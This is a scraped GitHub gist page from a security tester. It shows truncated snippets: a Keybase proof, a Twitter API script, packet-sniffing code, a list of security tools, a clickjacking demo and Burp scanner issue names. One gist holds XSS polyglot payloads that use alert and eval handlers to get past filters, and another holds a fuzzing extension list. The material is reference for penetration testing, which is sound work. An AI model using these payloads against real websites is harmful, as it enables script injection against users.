Skip to content

Instantly share code, notes, and snippets.

View mccabe615's full-sized avatar

Mike McCabe mccabe615

64 followers · 34 following
View GitHub Profile
@mccabe615
mccabe615 / gist:e6f2557727d66df3038a
Created June 30, 2015 20:58
keybase.md
### Keybase proof
I hereby claim:
* I am mccabe615 on github.
* I am mccabe615 (https://keybase.io/mccabe615) on keybase.
* I have a public key whose fingerprint is 4FDF 4990 E6CB 5653 6E7B 1C8C 8A0B 8989 A235 A444
To claim this, I am signing this object:
@mccabe615
mccabe615 / gist:8115905607ddf7e199ff
Last active August 29, 2015 14:24
twit.rb
#!/usr/bin/env ruby
require 'rubygems'
require 'twitter'
#register here: https://apps.twitter.com/
#add your info here
client = Twitter::REST::Client.new do |config|
config.consumer_key = "consumer key"
config.consumer_secret = "consumer secret"
@mccabe615
mccabe615 / devices.go
Created August 24, 2015 16:54
package main
import (
"fmt"
"log"
"github.com/google/gopacket/pcap"
)
func main() {
@mccabe615
mccabe615 / app_filter.go
Created August 24, 2015 17:00
package main
import (
"fmt"
"log"
"time"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
@mccabe615
mccabe615 / dash.py
Created August 26, 2015 04:35
from scapy.all import *
def arp_display(pkt):
if pkt[ARP].hwsrc == '74:75:48:0f:76:3a': # Huggies
print "Found Dash"
print sniff(prn=arp_display, filter="arp", store=0, count=1000)
@mccabe615
mccabe615 / polyglots.md
Last active November 9, 2015 21:26

XSS

" onlick=alert(1)//<button ' onclick=alert(1)//> *alert(1)//"

javascript:/*-- >]]>%>?></script></title></textarea></noscript></style></xmp>">
[img=1,name=/alert(1)/.source]<img - /style=a:expression&#40&#47&#42'/- /*&#39,/**/eval(name)/*%2A///*///&#41;;width:100%;height:100%;p
osition:absolute;-ms-behavior:url(#default#time2) name=alert(1)
onerror=eval(name) src=1 autofocus onfocus=eval(name)
onclick=eval(name) onmouseover=eval(name) onbegin=eval(name)
@mccabe615
mccabe615 / Fuzzing extensions
Created October 29, 2015 17:35
asp,aspx,php,php3,php4,php5,txt,shtm,shtml,phtm,phtml,jhtml,pl,jsp,cfm,cfml,py,rb,cfg,zip,pdf,gz,tar,tar.gz,tgz,doc,docx,xls,xlsx,conf,
@mccabe615
mccabe615 / Open source security tools
Last active October 29, 2015 19:47
Brakeman - Rails source code analysis - http://brakemanscanner.org/
Bundler-audit - Looks for out of date or vulnerable JS libraries - https://github.com/rubysec/bundler-audit
Retire.js - Looks for out of date or vulnerable JS libraries - http://retirejs.github.io/retire.js/
ScanJS - Basic JS source code scanner - https://github.com/mozilla/scanjs
@mccabe615
mccabe615 / ClickJacking.html
Created November 3, 2015 16:35
Example clickjacking demo
<head>
<p>ClickJacking Demo<p/>
<p>This site has been clickjacked!<p/>
<style>
@charset "utf-8";
body {
margin: 0px;
padding: 0px;
}
@mccabe615
mccabe615 / BurpScanner.md
Created November 10, 2015 20:59

Ajax request header manipulation (DOM-based) ASP.NET debugging enabled ASP.NET tracing enabled ASP.NET ViewState without MAC enabled Base-encoded data in parameter Browser cross-site scripting filter disabled Cacheable HTTPS response Cleartext submission of password Client-side JSON injection (DOM-based)